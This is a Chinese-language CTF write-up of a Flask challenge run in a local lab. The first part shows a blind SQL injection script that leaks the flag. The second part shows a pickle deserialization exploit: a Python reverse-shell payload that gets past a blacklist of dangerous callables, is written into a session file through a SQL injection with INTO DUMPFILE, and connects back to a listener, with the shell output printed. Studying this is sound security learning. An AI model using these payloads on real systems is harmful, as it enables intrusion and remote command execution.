12
-目录-
前言
环境搭建
源码结构
题目分析
Python is the best language1
Python is the best language2
思考攻击点
pickle序列化学习
题目分析
攻击构造思考
payload
后记
前言
自己对python的web框架了解并不是很多,于是为了学习……打算从零开始一步一步分析一下如何去做flask的题目。
环境搭建
首先
python db_create.py
发现缺少库依赖,然后一路装过来
pip install Flask
pip install flask_login
pip install flask_bootstrap
pip install flask_moment
pip install sqlalchemy
pip install MySQLdb
然后出现了报错,随后发现`MySQLdb`不能直接安装
随即用了另一指令
pip install MySQL-python
然后安装继续报错
mysql_config not found
随后运行指令
sudo apt-get install libmysqlclient-dev
即可解决,然后继续装库
pip install flask_wtf
即可安装完所有需求库
然后再
python db_create.py
又报错,发现是config配置问题,随机
vi config.py
将第7行更改为
SQLALCHEMY_DATABASE_URI = "mysql://root:@127.0.0.1/flask?charset=utf8"
注:用户root,无密码
然后再运行
python db_create.py
发现报错,无flask库,于是创建库
CREATE DATABASE `flask` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
再运行
python db_create.py
python run.py
不能外网访问,随机更改run.py文件
vi run.py
更改为
if __name__ == "__main__":
app.run(host='0.0.0.0',port=10000)
随后
python run.py
即可在ip:10000访问题目
源码结构
因为接触flask框架不算多,所以也抱着一个萌新的态度来分析
根目录下是3个文件
app为放置应用程序的文件夹
run.py为启动文件
config.py是配置文件
然后进入app文件夹
static文件夹放置静态资源
templates文件夹放置模板,用于渲染(说白了就是前端views)
__init__.py 文件里包含导入各种框架和函数,初始化flask应用,初始化数据库
error.py 用于404和500报错
forms.py 用于表单登录,注册等
models.py 放置操作数据库的代码
Mycache.py 出题人自己写的缓存文件
Mysessions.py 出题人自己写的session文件
others.py mysql操作语句等函数
routes.py 路由文件
题目分析
这不多的代码一共出了2个题目
Python is the best language1
Python is the best language2
我个人认为,第一问可能就是个sql注入,第二问应该是Mycache.py与Mysessions.py出了问题
原因很简单
不多的代码里有许多sql操作
除了一些标准的文件,自己写的Mycache.py与Mysessions.py非常可疑
那么我们分析的时候也就很有针对性了,重点关注sql的操作和出题者自己写的文件,也就是
sql部分
缓存部分
Mycache.py
Mysessions.py
Python is the best language1
由于是第一问,肯定难度相对较低,于是我开始寻找sql注入的问题,审计routes.py
当然,如果一行一行看过去,肯定是很难受的,我们先看看大体结构
@app.before_request
def before_request():
@app.teardown_request
def shutdown_session(exception=None):
db_session.remove()
@app.route('/', methods=['GET', 'POST'])
@app.route('/index', methods=['GET', 'POST'])
@login_required
def index():
@app.route('/explore')
@login_required
def explore():
@app.route('/login', methods=['GET', 'POST'])
def login():
@app.route('/logout')
def logout():
@app.route('/register', methods=['GET', 'POST'])
def register():
@app.route('/user/')
@login_required
def user(username):
@app.route('/edit_profile', methods=['GET', 'POST'])
@login_required
def edit_profile():
@app.route('/follow/')
@login_required
def follow(username):
@app.route('/unfollow/')
@login_required
def unfollow(username):
可以看到功能无非就是注册,登录,退出,编辑等
这里我直接看了编辑功能即`/edit_profile`
因为这是登录后为数不多可操作的功能
审计代码,关键定位于sql操作上
定位到关键操作
res = mysql.Mod("user", {"id": current_user.id}, {
"username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})
我们跟进Mod函数
def Mod(self, tablemame, where, values):
sql = "update " + tablemame + " "
sql += "set " + \
"".join(i + "=" + str(values[i]) + "," for i in values)[:-1] + " "
sql += "where " + \
"".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]
try:
self.db_session.execute(sql)
self.db_session.commit()
return 1
except:
return 0
发现是update,可注入,查看过滤点
def validate_note(self, note):
if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\
raise ValidationError("Don't input invalid charactors!")
发现note处明显有问题,可以的符号非常多
我在本地构造了一下开始测试
python
import re
uid='1'
username = 'sky'
note = "12345' and (select username like 0x25) and sleep(5) and 'a'='a"
def validate_note(note):
if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\
print "Don't input invalid charactors!"
def Mod(tablemame, where, values):
sql = "update " + tablemame + " "
sql += "set " + \
"".join(i + "=" + str(values[i]) + "," for i in values)[:-1] + " "
sql += "where " + \
"".join(i + "=" + str(where[i]) + " and " for i in where)[:-4]
return sql
validate_note(note)
res = Mod("user", {"id": uid}, {
"username": "'%s'" % username, "note": "'%s'" % note})
print res
发现轻松bypass,随即构造脚本进行注入
首先抓了个包观察了一下
csrf_token=IjY1MTRhZmJkYzYzZGNkMWQ2NzBhNGIwOWRhZmMwMzJhNGJjZTNiODIi.DaJ5pw.Pp6QpdeA_1n9txXtoyqAB0jSgSk&username=sky¬e=011&submit=Submit
发现是有csrf_token的,还需要处理获取一下,脚本如下:
# -*- coding: utf-8 -*-
import re
import requests
import string
cookies = {
"cookieconsent_status":"dismiss","continueCode":"1ZmEW8xEBave7rXY9NJ52R43LzGQ2HBuM0MpZy1QDnmwolK6PqObVgkjPr8v","remember_token":"1|bd7ae859aa61d2458faf36eecdd36b40c949bb0e0c5c6b2d42fd5462d043d01f935625d5df66deaa15eb56ce76afadd4a1f5ef9f5f2826dcc7d2e9d66f341c75","session":"f8a0d3db-ab28-496b-943d-eda1ca2642cd"
}
url = "http://192.168.130.157:10000/edit_profile"
r = requests.get(url=url,cookies=cookies)
csrf_token_re = r''
csrf_token = re.findall(csrf_token_re, r.content)[0]
flag = ""
true_flag = ""
for i in range(1,1000):
payload = flag
for j in "0123456789"+string.letters+"!@#$^&*(){}=+`~_":
data = {
"csrf_token": csrf_token,
"username": "sky",
"note": "12345' and (select flllllag like binary 0x%s25 from flaaaaag) and sleep(3) and 'a'='a"%(payload+hex(ord(j))[2:]),
"submit": "Submit"
}
try:
r =requests.post(url=url,data=data,cookies=cookies,timeout=2.5)
except:
flag += hex(ord(j))[2:]
true_flag += j
print true_flag
break
运行即可拿到flag:`QWB`
Python is the best language2
思考攻击点
作为一个萌新,我对flask的理解并不是很深入,拿下了第一题后,我非常迷茫,因为找不到切入点
但是在others.py里发现了一下奇特的东西
black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
spawnv, spawnve, spawnvp, spawnvpe, load, loads]
class FilterException(Exception):
def __init__(self, value):
super(FilterException, self).__init__(
'the callable object is not allowed'.format(value=str(value)))
def _hook_call(func):
def wrapper(*args, **kwargs):
print args[0].stack
if args[0].stack[-2] in black_type_list:
raise FilterException(args[0].stack[-2])
return func(*args, **kwargs)
return wrapper
def load(file):
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return Unpkler(file).load()
def loads(str):
file = StringIO(str)
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return unpkler.load()
这可以明显的看出可能后面有一道命令执行,并且`Unpkler`引起了我的兴趣:`from pickle import Unpickler as Unpkler`,因为这是反序列化,虽然我对flask理解并不是很多,但类似php我知道,反序列化经常是漏洞点,并且可以进行RCE,随即这成了我的突破口。
pickle序列化学习
首先看一下pickle的作用
pickle是为了序列化/反序列化一个对象的,可以把一个对象持久化存储。
比如你有一个对象,想下次运行程序的时候直接用,可以直接用pickle打包存到硬盘上。或者你想把一个对象传给网络上的其他程序,可以用pickle打包,然后传过去,那边的python程序用pickle反序列化,就可以用了。
用法上,它主要有两个函数:load和dump,load是从序列化之后的数据中解出来,dump是把对象序列化。
我们实战尝试一下
import pickle
a1 = 'apple'
b1 =
c1 = ['fee', 'fie', 'foe', 'fum']
f1 = open('test',"wb")
pickle.dump(a1,f1,True)
pickle.dump(b1,f1,True)
pickle.dump(c1,f1,True)
f1.close()
f2 = open('test',"rb")
a2 = pickle.load(f2)
print a2
b2 = pickle.load(f2)
print b2
c2 = pickle.load(f2)
print c2
得到结果
apple
['fee', 'fie', 'foe', 'fum']
稍微分析一下就可以知道
pickle.dump(object, file)
是序列化
object = pickle.load( file)
是反序列化
再深入一些
pickle.dump(object, file)
可以拆分为
python
P = pickle.Pickler(file)
P.dump(object)
即生成一个新的pickler,用来pickle到一个打开的输出文件对象file,然后写一个对象到pickler的文件/流。
object = pickle.load(file)
也可以拆分为
U = pickle.Unpickler(file)
object = U.load( )
即生成一个unpickler,用来从一个打开的文件对象file unpickle,然后从unpickler的文件/流读取一个对象。
这样看来就容易理解许多,其实就是为了方便我们操作,pickle将序列化简化成只需要dump一些,而反序列化简化成只需要load一下。
我们再做一点测试
python
import pickle
a1 = 'apple'
a2 = pickle.dumps(a1)
print a2
a3 = pickle.loads(a2)
print a3
输出
S'apple'
p0
.
apple
这里使用了
string = pickle.dumps(object)
返回一个字符串作为已pickle对象的表达
object = pickle.loads(string)
从字符串读取一个对象,而不是从文件
简单来说,还是之前的dumps是序列化,loads是反序列化,但这里直接可以操作字符串,而不是文件
题目分析
有了之前的基础,一些题目中的函数就容易看懂许多了
python
def load(file):
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return Unpkler(file).load()
def loads(str):
file = StringIO(str)
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return unpkler.load()
这两个简单看来就是带有过滤的反序列化,一个用于操作文件,一个用于操作字符串
那么我们现在去看看问题在哪里:
首先我们确定,问题出现于Mycache.py和Mysession.py
经过全局搜索,我发现本题主要调用的是load,也就是对文件的操作,所以我将注意力定位到有关文件的类上
而这两个文件里分别有两个有关于文件的两个大类
FileSystemCache
FileSystemSessionInterface
那么他们的关联在哪里呢?
这里从`FileSystemSessionInterface`入手,容易发现以下代码
python
class FileSystemSessionInterface(SessionInterface):
session_class = FileSystemSession
def __init__(self, cache_dir, threshold, mode, key_prefix="bdwsessions",
use_signer=False, permanent=True):
self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)
self.key_prefix = key_prefix
self.use_signer = use_signer
self.permanent = permanent
def open_session(self, app, request):
sid = request.cookies.get(app.session_cookie_name)
if not sid:
sid = self._generate_sid()
return self.session_class(sid=sid, permanent=self.permanent)
if self.use_signer:
signer = self._get_signer(app)
if signer is None:
return None
try:
sid_as_bytes = signer.unsign(sid)
sid = sid_as_bytes.decode()
except BadSignature:
sid = self._generate_sid()
return self.session_class(sid=sid, permanent=self.permanent)
data = self.cache.get(self.key_prefix + sid)
if data is not None:
return self.session_class(data, sid=sid)
return self.session_class(sid=sid, permanent=self.permanent)
其中关键行
python
self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)
key_prefix="bdwsessions"
sid = request.cookies.get(app.session_cookie_name)
data = self.cache.get(self.key_prefix + sid)
很显然,这里`FileSystemSessionInterface.cache`调用了`FileSystemCache`
然后使用了`FileSystemCache`类里的get方法得到最后的数据
而传入的参数为
key_prefix="bdwsessions"
sid = request.cookies.get(app.session_cookie_name)
即`bdwsessions+cookies`
那么我们跟进一下这个get方法:
在Mycache.py里容易发现第137行有
python
def get(self, key):
filename = self._get_filename(key)
try:
with open(filename, 'rb') as f:
pickle_time = load(f)
if pickle_time == 0 or pickle_time >= time():
a = load(f)
return a
else:
os.remove(filename)
return None
except (IOError, OSError, PickleError):
return None
其中对文件filename进行反序列化操作
那么filename这个变量名是什么呢?我们跟进一下
这里很明显,是将输入的key进行utf-8编码,再进行md5
而有了之前的分析,我们知道这个key即`bdwsessions+cookies`
我们抓包看一下自己的cookies格式
容易发现
f8a0d3db-ab28-496b-943d-eda1ca2642cd
所以我可以确定我们传入的key为
bdwsessionsf8a0d3db-ab28-496b-943d-eda1ca2642cd
那么我们md5一下得到
又根据config.py中给出的路径
SESSION_TYPE = "filesystem"
SESSION_FILE_THRESHOLD = 10000
SESSION_FILE_DIR = "/tmp/ffff"
SESSION_FILE_MODE = 0660
SESSION_PERMANENT = True
可以得到最终我们文件的路径为
/tmp/ffff/0c73b741796249d489754c8ec49621be
由于我是在本地搭建测试,所以我去查看一下,以证实自己的想法
root@ubuntu:/# cd /tmp/ffff
root@ubuntu:/tmp/ffff# ls
0c73b741796249d489754c8ec49621be a35a428bd3c0877883abdcf9a278014d
5bac4cc446cd857cdca44322243df871 b564de092ab86312866e8726d2436716
果不其然,第一个文件就是我们猜想的session文件
攻击构造思考
既然我们可以预知文件名和绝对路径,那我们可否触发load来任意反序列化我们构造的恶意代码呢?
这里我们容易知道mysql可以写入文件,但是需要很高的权限,但是这里结合config中的root用户,可以容易猜想到这里应该有足够的权限。
那么我们的思路很清晰了:
自己随意定义一个session
根据之前的规则计算出文件名
利用mysql的注入,将文件导入/tmp/ffff目录下
访问index的时候修改自己的session为之前我们定义的值
即可触发反序列化,造成攻击
首先来编写一个可以命令执行的文件,这里之前我们也提到,反序列化的时候是有黑名单的,即过滤
观察过滤
black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
spawnv, spawnve, spawnvp, spawnvpe, load, loads]
这里容易发现
subprocess.Popen
subprocess.call
commands
均可使用
我们测试
首先写一个test1.py
from pickle import Unpickler as Unpkler
from pickle import Pickler as Pkler
import commands
class Exploit(object):
def __reduce__(self):
return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))
evil = Exploit()
def dump(file):
pkler = Pkler(file)
pkler.dump(evil)
with open("test","wb") as f:
dump(f)
再写一个test2.py
from os import *
from sys import *
from pickle import *
from io import open as Open
from pickle import Unpickler as Unpkler
from pickle import Pickler as Pkler
black_type_list = [eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
spawnv, spawnve, spawnvp, spawnvpe, load, loads]
class FilterException(Exception):
def __init__(self, value):
super(FilterException, self).__init__(
'the callable object is not allowed'.format(value=str(value)))
def _hook_call(func):
def wrapper(*args, **kwargs):
print args[0].stack
if args[0].stack[-2] in black_type_list:
raise FilterException(args[0].stack[-2])
return func(*args, **kwargs)
return wrapper
def LOAD(file):
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return Unpkler(file).load()
with Open("test","rb") as f:
LOAD(f)
然后我们首先运行test1.py去生成序列化文件
接着我们本地监听23333端口
然后再运行test2.py去模拟题目触发反序列化
发现成功反弹shell
root@ubuntu:/var/www/html/test# python test2.py
[, ('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'',)]
以及收到的shell
sky@ubuntu:~$ nc -l -vv -p 23333
Listening on [0.0.0.0] (family 0, port 23333)
Connection from [127.0.0.1] port 23333 [tcp/*] accepted (family 2, sport 35168)
# ls
test
test1.py
test2.py
# cd ..
# ls
index.html
QWBflask
test
#
发现测试成功
现在我们需要做的就是将我们恶意构造的序列化文件转换成16进制,再利用union填充导入到session文件即可
但是这里我又发现了一个新的问题,就是之前我找到的edit_profile攻击点没有逗号,这里我懒得使用join去Bypass逗号,因为我担心这样在导入文件的时候会出现蛇皮的错误,所以我又看了一下代码
不一会儿我又在`/register`处发现更简单的过滤问题
username = StringField('Username', validators=[DataRequired()])
email = StringField('Email', validators=[DataRequired(), Email()])
password = PasswordField('Password', validators=[DataRequired()])
password2 = PasswordField(
'Repeat Password', validators=[DataRequired(), EqualTo('password')])
submit = SubmitField('Register')
def validate_username(self, username):
if re.match("^[a-zA-Z0-9_]+$", username.data) == None:
raise ValidationError('username has invalid charactor!')
user = mysql.One("user", {"username": "'%s'" % username.data}, ["id"])
if user != 0:
raise ValidationError('Please use a different username.')
def validate_email(self, email):
user = mysql.One("user", {"email": "'%s'" % email.data}, ["id"])
if user != 0:
raise ValidationError('Please use a different email address.')
可以发现email仅仅只使用了
email = StringField('Email', validators=[DataRequired(), Email()])
进行过滤
我们跟进一下email()函数
python
def __init__(self, message=None):
self.validate_hostname = HostnameValidation(
require_tld=True,
)
super(Email, self).__init__(r'^.+@([^.@][^@]+)$', re.IGNORECASE, message)
def __call__(self, form, field):
message = self.message
if message is None:
message = field.gettext('Invalid email address.')
match = super(Email, self).__call__(form, field, message)
if not self.validate_hostname(match.group(1)):
raise ValidationError(message)
此处的正则仅仅是用来email格式的,根本不能影响我们进行注入
所以我们只需要
select id from user where email = 'sky'/**/or/**/1=1#@sky.com'
即可造成注入
那么相对来说,union select也容易了很多,只需要
sky'/**/union/**/select/**/0x.../**/into/**/dumpfile/**/'/tmp/ffff/md5(key)'#@sky.com
那我们先来生成一下16进制的恶意文件
python
import binascii
import cPickle
import commands
class Exploit(object):
def __reduce__(self):
return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))
def serialize_exploit():
shellcode = cPickle.dumps(Exploit())
return shellcode
print binascii.b2a_hex(serialize_exploit())
得到
0x63636f6d6d616e64730a6765746f75747075740a70310a285327707974686f6e202d63205c27696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223132372e302e302e31222c323333333329293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b206f732e6475703228732e66696c656e6f28292c32293b703d73756270726f636573732e63616c6c285b222f62696e2f7368222c222d69225d293b5c27270a70320a7470330a5270340a2e
payload
先给自己设定一个session
f8a0d3db-ab28-496b-943d-eda1caskysky
然后md5(bdwsessionsf8a0d3db-ab28-496b-943d-eda1caskysky)
预测文件名
/tmp/ffff/ba9141ecfff5fe135fb55991b531ee07
在注册点的email处填入
sky'/**/union/**/select/**/0x63636f6d6d616e64730a6765746f75747075740a70310a285327707974686f6e202d63205c27696d706f727420736f636b65742c73756270726f636573732c6f733b733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d293b732e636f6e6e6563742828223132372e302e302e31222c323333333329293b6f732e6475703228732e66696c656e6f28292c30293b206f732e6475703228732e66696c656e6f28292c31293b206f732e6475703228732e66696c656e6f28292c32293b703d73756270726f636573732e63616c6c285b222f62696e2f7368222c222d69225d293b5c27270a70320a7470330a5270340a2e/**/into/**/dumpfile/**/'/tmp/ffff/ba9141ecfff5fe135fb55991b531ee07'#@sky.com
接着我们监听端口23333
sky@ubuntu:/tmp/ffff$ nc -l -vv -p 23333
Listening on [0.0.0.0] (family 0, port 23333)
然后我们去访问index,顺便修改session触发反序列化
然后即可成功收到shell
sky@ubuntu:/tmp/ffff$ nc -l -vv -p 23333
Listening on [0.0.0.0] (family 0, port 23333)
Connection from [127.0.0.1] port 23333 [tcp/*] accepted (family 2, sport 35210)
$ ls
app
config.py
config.pyc
MySQL-python-1.2.3b1
MySQL-python-1.2.3b1.tar.gz
run.py
$ cd ..
$ ls
index.html
QWBflask
test
$
此题也最终完结
后记
写这样一篇文章,目的就是在于帮助自己和大家去探索一个未知的领域,从零开始做题。
感叹现在的知名赛事真的是对web越来越不友好了,涉及点全面,还动不动带着点bin。
最后不得不膜一发bendawang,绝对是好题~
领取专属 10元无门槛券
私享最新 技术干货